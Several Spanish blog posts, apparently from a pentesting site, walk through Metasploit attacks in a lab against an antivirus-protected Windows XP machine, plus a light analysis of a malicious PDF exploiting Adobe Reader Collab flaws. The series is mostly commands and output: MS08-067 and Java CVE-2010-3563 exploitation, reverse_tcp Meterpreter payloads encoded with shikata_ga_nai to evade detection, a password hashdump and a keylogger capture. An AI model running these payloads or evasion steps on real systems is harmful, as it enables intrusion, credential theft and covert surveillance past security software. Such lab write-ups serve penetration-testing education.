Esta nueva opción de "empaquetamiento" llamada "vbsmem" funciona de una forma diferente, y lo que hace es crear una dll en disco (en la documentación habla de que lo hace todo "en memoria" pero yo he mirado el código y juraría que escribe la dll en disco) que tiene toda la funcionalidad, y entonces lo que hace es inyectar esta dll para que se ejecute. Vamos a ver que tal funciona, pero antes tenemos que generar el fichero y luego poner a la escucha el multi/handler para recoger la conexión:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | msfencode -e x86/shikata_ga_nai -t vbsmem > msf.vbs

# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Bueno, ahora solo tenemos que subir el fichero desde el Meterpreter Java que tenemos ya del post anterior y ejecutarlo, a ver si conseguimos por fin nuestro deseado Meterpreter Nativo de Windows:

meterpreter > sysinfo

OS : Windows XP 5.1 (x86)

Computer : rootedlab2

Meterpreter : java/java

meterpreter > upload msf.vbs

[*] uploading : msf.vbs -> msf.vbs

[*] uploaded : msf.vbs -> msf.vbs

meterpreter > execute -H -f cmd.exe -a "/c msf.vbs"

Process created.

Y mientras tanto en nuestro multi/handler a la escucha...

[*] Started reverse handler on 0.0.0.0:4445

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4445 -> 172.16.146.146:1100) at Sun May 08 18:21:31 +0200 2011

meterpreter > sysinfo

System Language : es_ES

OS : Windows XP (Build 2600, Service Pack 3).

Computer : ROOTEDLAB2

Architecture : x86

Meterpreter : x86/win32

Bingo! Lo tenemos! Y ahora, solo para asegurarnos que nuestro Meterpreter ahora puede hacer lo que queramos sin que el Antivirus nos detecte, vamos a hacer un hashdump y vamos a poner un KeyLogger a ver que pasa...

meterpreter > hashdump

Administrador:500:aad3b435b51404eeaad3b435b51404ee:2983ca1407d376f6358670f623f03a41:::

[...]

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

notepad.exe GAME OVER ANTIVIRUS >(

meterpreter > keyscan_stop

Stopping the keystroke sniffer...

Bueno... parece que ya lo tenemos, ha costado pero al final hemos conseguido meter nuestro Meterpreter Windows en el equipo protegido por el Antivirus sin que este se enterara, y eso que nos hemos cogido uno de los difíciles.

También habríamos podido modificar la rutina de encoding de Metasploit un poquillo para que ya no fuera detectada, pero para eso habría que haber tocado bastante más código y podría haber sido bastante más complicado, pero es la forma en la que, de una forma u otra, acabaríamos por conseguir ejecutar lo que quisiéramos.

Sed buenos :)

Metasploit & Antivirus (III): Evasión de Heurística

Hace unos días vimos como explotando al vulnerabilidad MS08-067 en un sistema con Antivirus este no se enteraba de nada, debido a que las acciones realizadas estaban "bajo el radar" y por tanto pasaban desapercibidas para el Antivirus.

Hoy vamos a probar otra vulnerabilidad para la cual no vamos a tener la misma suerte, como es la CVE-2010-3563 de Java, que es la que aprovecha el exploit "windows/browser/java_basicservice_impl" de Metasploit. Veamos lo que pasa al intentar explotar esta vulnerabilidad. Primero que nada levantamos un servidor web a la escucha que espera conexiones de navegadores e intenta explotar esta vulnerabilidad. Esta vez, en lugar de usar msfconsole vamos a usar msfcli, que es básicamente lo mismo pero le ponemos directamente todos los parámetros en la linea de comandos (muy útil a veces):

# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=windows/meterpreter/reverse_tcp LHOST=172.16.146.132 E

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.146.132:4444

[*] Using URL: http://0.0.0.0:8080/5VTcH8EGRi00E

[*] Local IP: http://172.16.146.132:8080/5VTcH8EGRi00E

[*] Server started.

Ahora ya solo tenemos que coger un navegador vulnerable y hacerle visitar http://172.16.146.132:8080/5VTcH8EGRi00E , y a ver que pasa...

Ops! Bueno, parece que el Antivirus nos ha cazado esta vez. Según la información detecta un fichero temporal ejecutable como Win32/Heur, es decir, tiene toda la pinta de que ha sido detectado por Heurística, no por firma.

Para comprobarlo, vamos a repetir la operación pero esta vez vamos a usar un Payload de Metasploit distinto a Meterpreter. Concretamente, Metasploit tiene algunos Payloads específicamente pensados para hacer pruebas, entre ellos uno llamado "tight_loop", que si le pegamos un vistazo, tiene una pinta así:

# cat /opt/metasploit3/msf3/modules/payloads/singles/generic/tight_loop.rb

Como podemos ver, es un Payload que contiene una sola instrucción en ensamblador que realiza un salto a ella misma, por lo que se convertirá en un bucle infinito. Este Payload se completará con NOPs para formar el Exploit final, por lo que no debería hacer saltar ninguna regla del Antivirus. Utilizando este Payload vamos a comprobar a ver si lo que está detectando con su Heurística es el cuerpo del Meterpreter o no.

# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=generic/tight_loop LHOST=172.16.146.132 E

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8080/U8VpIr

[*] Local IP: http://172.16.146.132:8080/U8VpIr

[*] Server started.

Repetimos la operación, visitamos el enlace que nos da Metasploit a ver que pasa...

Bueno, ya tenemos algo más de información, si el Payload no es lo que le está haciendo saltar, pues entonces tiene que ser alguna de las acciones que está realizando previamente a ejecutar el Payload. Podría ser el hecho de que Internet Explorer esté lanzando un ejecutable, o algo que hay en el propio ejecutable. Para comprobarlo si es una cosa u otra es fácil, vamos a coger el binario, vamos a moverlo al escritorio, vamos a cambiarle el nombre y vamos a ejecutarlo a mano. Si el antivirus vuelve a saltar es que no está siendo detectado porque lo esté lanzando un navegador ni nada parecido, sino que es algo interno al binario. Hacemos esto, le damos doble click y...

No nos deja ejecutarlo, y en cuanto le cambiamos de nombre o pasamos el ratón por encima nos salta la ventana alertándonos de la amenaza, así que parece que va a ser algo del propio binario.

Podríamos intentar encodear el binario para que no detectara (lo veremos en el siguiente post), pero en lugar de eso vamos a hacer algo más sencillo: ¿qué pasará si cambiamos el ejecutable que lanza el exploit por un java? Evidentemente el binario cambiará completamente, y con un poco de suerte la detección heurística del Antivirus no estará preparada para esto.

# ./msfconsole

> setg RHOST 172.16.146.146

> setg LHOST 172.16.146.132

> use windows/browser/java_basicservice_impl

> show targets

Id Name

-- ----

0 Windows x86

1 Generic (Java Payload)

> set TARGET 1

> show payloads

[...]

java/meterpreter/reverse_tcp

[...]

> set PAYLOAD java/meterpreter/reverse_tcp

> exploit

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.146.132:4444

[*] Using URL: http://0.0.0.0:8080/EljVGtlEWd26kZr

[*] Local IP: http://172.16.146.132:8080/EljVGtlEWd26kZr

[*] Server started.

Ahora vamos a hacer que nuestro navegador vulnerable visite esta url a ver que vemos en nuestro Metasploit y en la pantalla del PC:

[*] Sending redirect to init.jnlp

[*] Sending init.jnlp

[*] Sending init.jnlp

[*] Sending Jar file to 172.16.146.146:1161...

[*] Checking with HEAD

[*] Sending exploit.jnlp

[*] Sending Jar file to 172.16.146.146:1164...

[*] Sending all.policy

[*] Sending stage (27642 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1165) at Sun May 08 13:03:00 +0200 2011

> sessions -i 1

meterpreter > sysinfo

OS : Windows XP 5.1 (x86)

Computer : rootedlab2

Meterpreter : java/java

Bingo! Ya tenemos un Meterpreter corriendo en la máquina comprometida. Lamentáblemente la funcionalidad del Meterpreter Java es muy inferior al del Meterpreter Nativo para Windows, así que ahora deberíamos intentar subir un Meterpreter Windows y lanzarlo, para obtener toda su funcionalidad, pero... evidentemente si lo hacemos tan cual va a ser detectado por el Antivirus al igual que lo hacía antes.

meterpreter > upload msf.exe

[*] uploading : msf.exe -> msf.exe

[*] uploaded : msf.exe -> msf.exe

meterpreter > execute -H -f msf.exe

[-] stdapi_sys_process_execute: Operation failed: 1

En el próximo post, algo de encoding de binarios con Metasploit.

Metasploit & Antivirus (II): Explotación en Memoria

Ahora que ya tenemos sentada las bases de como funcionan los antivirus, vamos a empezar a hacer nuestras pruebas con un antivirus a ver que pasa.

Se eligió una versión gratuita de un antivirus comercial que no se identificará en estos posts (aunque si alguien reconoce en el screenshot el antivirus... pues lo reconoce :P). Las pruebas solo se van a realizar sobre un antivirus, por lo que es probable que otros antivirus bloqueen cosas que este no bloquea y viceversa, por eso es importante montarnos una maqueta con el antivirus exacto que está utilizando el sistema sobre el que estamos haciendo el test de intrusión.

Pues bueno, vamos al lío, vamos a utilizar el archi-conocido exploit para MS08-067 para entrar en un sistema protegido con un antivirus y vamos a inyectar una shell Meterpreter.

# ./msfconsole

> setg RHOST 172.16.146.146

> setg LHOST 172.16.146.132

> use windows/smb/ms08_067_netapi

> set PAYLOAD windows/meterpreter/reverse_tcp

> exploit

[*] Started reverse handler on 172.16.146.132:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

[*] Selected Target: Windows XP SP3 Spanish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1158) at Sat Apr 30 09:19:44 +0200 2011

meterpreter >

Ya tenemos acceso al sistema, y en antivirus... nada de nada.

Aunque parezca que esto no debería ser así, es bastante lógico si tenemos en cuenta como funciona un antivirus y como funciona Meterpreter. Si recordáis, dijimos que un antivirus, por motivos de complejidad y eficiencia, no puede monitorizar absolutamente todas las llamadas a sistema, así que vamos a ver que acciones hace Meterpreter que parece que el antivirus no está monitorizando ninguna de ellas.

1. El exploit lleva consigo el código del Stager "reverse_tcp".
2. Se ejecuta "reverse_tcp", que únicamente reserva una zona en memoria y realiza una conexión, y todos los datos que le llegan desde esa conexión los guarda en esa zona de memoria y salta la ejecución a ella. En esa zona es donde se guarda el Payload que hace la inyección de la DLL.
3. Una vez que se salta a este Payload, este realiza la inyección de la DLL en la memoria del proceso.
4. A partir de aquí, ya todo depende de las acciones que realicemos con Meterpreter, pero el acceso lo tenemos ya.

La explotación no toca el disco para nada, y las acciones que realiza son razonablemente normales, y además el proceso explotado pertenece a SYSTEM, así que entre unas cosas y otras... es bastante lógico que el pobre Antivirus no se esté enterando de nada.

De hecho, si en este momento realizamos un escaneo de todo el sistema, el Antivirus no va a encontrar nada, a pesar de que tenemos el Meterpreter cargado como DLL de uno de los procesos del sistema:

En la próxima entrega vamos a utilizar otro exploit que, por la manera de explotar, si que toca el disco, y que es detectado como un ataque por el antivirus, a ver que podemos hacer...

Metasploit & Antivirus (I): Conceptos Previos

Hay una pregunta recurrente que me encuentro en muchas ocasiones cuando hablo de la explotación de sistemas, particularmente cuando comento todas las "putadillas" que se pueden hacer con Metasploit y Meterpreter, y es la siguiente:

¿Y el Antivirus no bloquea eso?

La respuesta corta es que "en ocasiones sí... y en ocasiones no", pero como a mi siempre me gusta mucho más VER las cosas que simplemente que me las cuenten, vamos a ver en una serie de posts de que manera los Antivirus están protegiendo los sistemas contra la explotación de vulnerabilidades, cuando las bloquearían, cuando no, y como algunas veces somos capaces de eludirlo para conseguir realizar acciones o explotar vulnerabilidades que a priori deberían ser bloqueadas.

Lo primero de todo es conocer algunos detalles sobre como los antivirus nos protegen, que ya os aviso que va a ser un poco tostón, mucha letra y muy poco código (justo el tipo de posts que odio), pero es la base para entender todo lo que veremos en los siguientes posts, así que os prometo que si leéis pacientemente este post los siguientes serán mucho código y poca letra, como a mi me gustan :)

Los Antivirus no son entidades omnipresentes, son simplemente piezas de software más o menos complejas que monitorizan ciertas actividades de nuestro sistema. En realidad, no funcionan de una forma muy diferente a como lo hacen los temidos RootKits, salvo por la finalidad, claro.

Buscando un paralelismo con el mundo físico, imaginad que tenemos una centralita telefónica que tiene mapeada extensiones telefónicas cortas (101, 102, 115, etc) con números de teléfonos largos. Todos los usuarios tienen un listado que les indica que la recepción es el 101, el despacho del director es el 102, etc, así que ellos saben a donde tienen que llamar para realizar cada acción, y esperan obtener una contestación adecuada al llamar a ese número (que descuelgue la persona a la que llaman). En este ejemplo, un Antivirus (o un RootKit) lo que haría sería seleccionar aquellas extensiones que sean de interés para sus propósitos (que en este caso serán diferentes para un Antivirus o un RootKit) y hacer lo siguiente:

1. Me anoto que la extensión 169 original corresponde con el número 607.69.69.69.
2. Modifico la asociación existente y le digo que ahora la extensión 169 se corresponde con el número 607.11.22.33 (un teléfono controlado por mi).
3. Cuando reciba llamadas y lo considere oportuno, las redirijo a 607.69.69.69

Volviendo ahora a nuestro mundo de silicio y flujos de datos, el ejemplo solo cambiaría levemente, ya que en lugar de números de teléfono cortos y largos, tendríamos llamadas a las librerías del sistema:

1. Me anoto que la función "CreateFile" original está en la dirección de memoria XXXXX.
2. Modifico la asociación existente (hay una estructura de datos en el sistema operativo que guarda esta asociación) y le digo que ahora la función "CreateFile" está en YYYYY (una función creada por nosotros).
3. Cuando reciba llamadas y lo considere oportuno, las redirijo a XXXXX.

Entender los detalles técnicos profundos puede ser mucho más complicado de lo que estamos viendo aquí, de hecho esto que hemos resumido de forma tan sencilla en un ejemplo es algo nada trivial y que requiere de conocimientos muy profundos del sistema operativo en cuestión. No obstante, entendiendo este ejemplo tenemos suficiente para entender a grandes rasgos como funciona un antivirus.

Bueno, ya esta, hemos conseguido que ahora todas las llamadas a "CreateFile" (o a la llamada que nos haya interesado "Hookear", que así se define vulgarmente este término) pasen por nosotros, pero... ¿y ahora qué hacemos con ellas?

Si somos un Antivirus vamos a querer, por ejemplo, "hookear" todas las aperturas de ficheros para analizar su contenido antes de ejecutarlo, así que podríamos poner algo así en nuestra "función falsa":

1. Recibimos la llamada para ejecutar el fichero c:\QueMaloSoy.exe
2. infectado = Analizar('c:\QueMaloSoy.exe')
3. Si infectado => Alertar al Servicio Antivirus & Denegar acceso a fichero
4. Sino => Permitir acceso al fichero
5. Se ejecuta el ejecutable

De forma análoga esto lo haríamos con otras funciones que resultaran de nuestro interés, en el caso de un Rootkit serían las llamadas para listar los procesos o ficheros del S.O. (para ocultarse) y en el caso de un Antivirus sería el acceso a ficheros (para detectar malware), el matar procesos o modificar claves de registro (para proteger el propio antivirus), etc.

Aquí nos encontramos el primer problemilla de los antivirus... ¿qué llamadas interceptamos y sobre qué contenido buscamos malware? Está claro, SOBRE TODAS ELLAS, ¿no? Si quieres que el 100% de tu CPU en todo momento esté dedicada a buscar malware en tu sistema, esto podría ser una opción, pero quizá para eso no sea necesaria tanta programación de tan bajo nivel, simplemente apaga tu ordenador y tendrás el mismo nivel de seguridad por el mismo nivel de usabilidad.

Al final resulta que todo el mundo se queja de que los antivirus penalizan mucho el rendimiento del sistema, pero las empresas que desarrollan antivirus se ven obligadas a elegir aquellos puntos de control y aquella forma de buscar malware que vaya a ofrecer los mejores resultados sin hacer que el ordenador vaya a pedales, algo que es realmente complicado.

Así que ya tenemos nuestra primera afirmación: Los Antivirus NO lo ven todo, hay cosas que miran y hay cosas que no miran.

Vale, pero, ¿y si miran? ¿cómo saben que lo que están mirando es malicioso? Pues tienen dos aproximaciones, la más comúnmente utilizada, que se basa en firmas, y una heurística que se basa en una serie de patrones anómalos:

1. Firmas: En algún momento alguna muestra del malware ha caído en manos de un analista de la compañía antivirus y este lo ha analizado y ha creado una firma, que no es más que una serie de comprobaciones que nos dicen si ese malware está presente o no. Puede ser una sucesión concreta de instrucciones, los valores de algunas cadenas de texto, una sucesión de llamadas a sistema, o cualquier otra cosa. En ocasiones las muestras del malware se encuentran cifradas de alguna forma con lo que en cada muestra su cuerpo es diferente. En estos casos las compañías de antivirus intentan detectar la rutina de descifrado en lugar del propio cuerpo del malware (esto es interesante para algo que veremos en los próximos posts).
2. Heurística: Buscan anomalías en el comportamiento de algunos binarios, pero tiene que ser sobre binarios cuyo conocimiento sea a priori conocido. Por ejemplo, sería MUY sospechoso ver al proceso iexplore.exe (el de Internet Explorer) escribir contenido en ficheros .exe del sistema, pero no resultaría nada raro que lo hicieran muchos otros procesos (explorer.exe? aka "el escritorio"). En este caso, existen una serie de reglas que notifican de "comportamiento anómalos" al antivirus, como por ejemplo eso, imaginad que un proceso del usuario X intenta escribir contenido en el binario explorer.exe... pues no tengo ni idea de donde ha salido ese proceso, pero lo que está claro es que no es trigo limpio, salvo que se trate de windows update, para el que habría que configurar una excepción en este caso.

Conociendo ahora de que forma se detectan estas alertas, ya vemos que nos encontramos con más problemillas:

1. ¿Qué ocurre si el malware es desconocido? ¿Y si es un malware conocido pero cifrado con una rutina propia y desconocida? Ya tenemos nuestra segunda afirmación: Los Antivirus NO detectan (con detección basada en firmas) malware desconocido.
2. ¿Qué ocurre si el Antivirus bloquea actividades legítimas de software de terceros? La ruina del Antivirus, por eso solo hará esto si está muy muy seguro y conoce muy muy bien las acciones que debe tomar o no un proceso. Vamos entonces con nuestra tercera y última afirmación: Lo que para un proceso es detectado, si viene de otro proceso es legítimo.

La cuarta y última afirmación es evidente pero vamos a remarcarla como hemos hecho con las demás: El Antivirus debe ESTAR ENCENDIDO para poder detectar algo.

Bien! Has sobrevivido a todo este rollo. Enhorabuena!

¿Lo has comprendido todo? Perfecto, pues en el próximo post nos metemos a fondo y empezaremos a ver casos con Mestasploit y con alguno de los Software Antivirus que hay por ahí (sin citar el nombre, que tampoco es cuestión de atacar a uno y que los otros se vayan de rositas).

Análisis de un PDF portador

No hace falta que os diga que los ficheros PDF son hoy en día una de las principales vías a través de la cual los malos de lo ajeno están llevando a cabo sus actividades delictivas. Normalmente se focalizan en vulnerabilidades en el lector de pdf más usado que es Adobe Reader y el caso que vamos a ver no va a ser una excepción. Dicho esto, el otro día a raíz de la entrada publicada por Zynamics (que como comentan en SecurityByDefault, es una entrada muy recomendable), me volvió a recordar que llevamos tiempo desde pentester.es queriendo preparar una entrada de análisis de ficheros pdf. Lo primero es conseguir un fichero pdf malicioso, para esta ocasión lo hemos obtenido de los enlaces suministrados por el proyecto blade-defender de SRI (proyecto que habrá que seguir de cerca) y que tiene como md5:

• readme.pdf, a491ae05103849d8797d1fda034e0bd5

Para la entrada nos apoyaremos en las herramientas realizadas por Didier Stevens para manejar los ficheros PDF. Os aconsejo el screencast que pone Didier en su propia página para que veáis su uso y lo que es posible hacer con ellas. Ahora vamos al jaleo con nuestro PDF portador.

Lo primero sería preguntarnos, ¿Qué objetos contiene este fichero PDF?

Observamos que exiten objetos de tipo Javascript, OpenAction, Page y Xref. Visto que contiene JavaScript, nos centramos en ver qué código JS contiene:

Si nos fijamos en la imagen se ha encontrado que el Objeto 2, contiene "/OpenAction /JS 10 0 R", con lo que nos indica que va abrir el código javascript alojado en la Referencia "10 0 R". Lo que vamos a hacer ahora es ver qué hay en ese objeto:

Como se ve en la imagen, el código javascript no tiene desperdicio :D. Podemos ver cómo todas las variables están cambiadas a un valor aleatorio (funcionalidad que como bien me comento Jose proporciona la metasploit). Llegados a este punto hemos obtenido el código javascript que se ejecutará cuando se abra el pdf y por la pinta que tiene parece que no va a hacer nada bueno. Lo siguiente que nos preguntamos es, ¿qué está intentando explotar este fichero PDF?, para ello volcamos el código javascript y lo analizamos para ver si encontramos algún indicio que nos oriente sobre qué puede estar intentando explotar el PDF.

Una vez visto el código, vemos funciones como Collab.collectEmailInfo() y Collab.GetIcon() que pertenecen al objeto Collab. Con una rápida búsqueda en Google sobre estas funciones, encontramos que exiten ciertos Advisory como CVE-2007-5659 y CVE-2009-0927 e incluso pruebas de concepto en securityfocus, además de un análisis realizado por la gente Carnal0wnage. Estos datos encontrados en Google lo confirmaremos ahora durante el análisis.

Viendo el código de la prueba de concepto de securityfocus(en el lado izquierdo) y el código javascript obtenido (lado derecho), vemos ciertas similitudes que nos pueden llevar a creer que van por aquí los tiros:

La función repeat en la prueba de concepto

La función heapspray de la prueba de concepto la tenemos en las dos siguiente imagenes

El punto donde se llama a la función Collab.colletEmailInfo

Al final del código JS se observa como explota dos vulnerabilidades en función de la versión del visor de pdf. Si es mayor que la versión 5.0 y menor que la versión 7.1 intenta aprovechar la vulnerabilidad de la función Collab.colletEmailInfo(). Si la versión esta entre 8.0 - 8.1.0.2 y 9.0 - 9.1 intenta aprovechar la vulnerabilidad en Collab.GetIcon().

Ahora para finalizar este análisis ligero, y que nos permita hacernos una idea superficial de qué contiene el pdf y que pretende, completaremos un poquito nuestras impresiones con herramientas de terceros que están online:

• Servicio Wepawet, donde obtenemos un informe. Vemos como solo nos indica que aprovecha la vulnerabilidad de la función Collab.GetIcon() y su CVE. Lo importante de este informe es el análisis del shellcode que nos muestra como se realiza referencia a un bichito adicional de malware en la url hxxp://nt13.co.in/1. Si ahora cogemos este enlace y lo pasamos por el servicio Anubis y por virustotal, veremos el informe del especímen que se bajará al ejecutarse el shellcode.

• Servicio VirusTotal, obtenemos un informe del pdf, donde por ejemplo vemos que el motor antivirus karpesky lo cataloga como Exploit.JS.Pdfka.ckj. Buscando por el nombre de este exploit vemos el informe de f-secure sobre Exploit.JS.pdfka.Ti, y donde comenta que explota la vulnerabilidad comentada anteriormente en la función Collab.colletEmailInfo() con su CVE.

Como véis el fichero analizado no tiene desperdicio y para un primer análisis de un fichero pdf sospechoso puede valernos ;). Espero que os sirva!!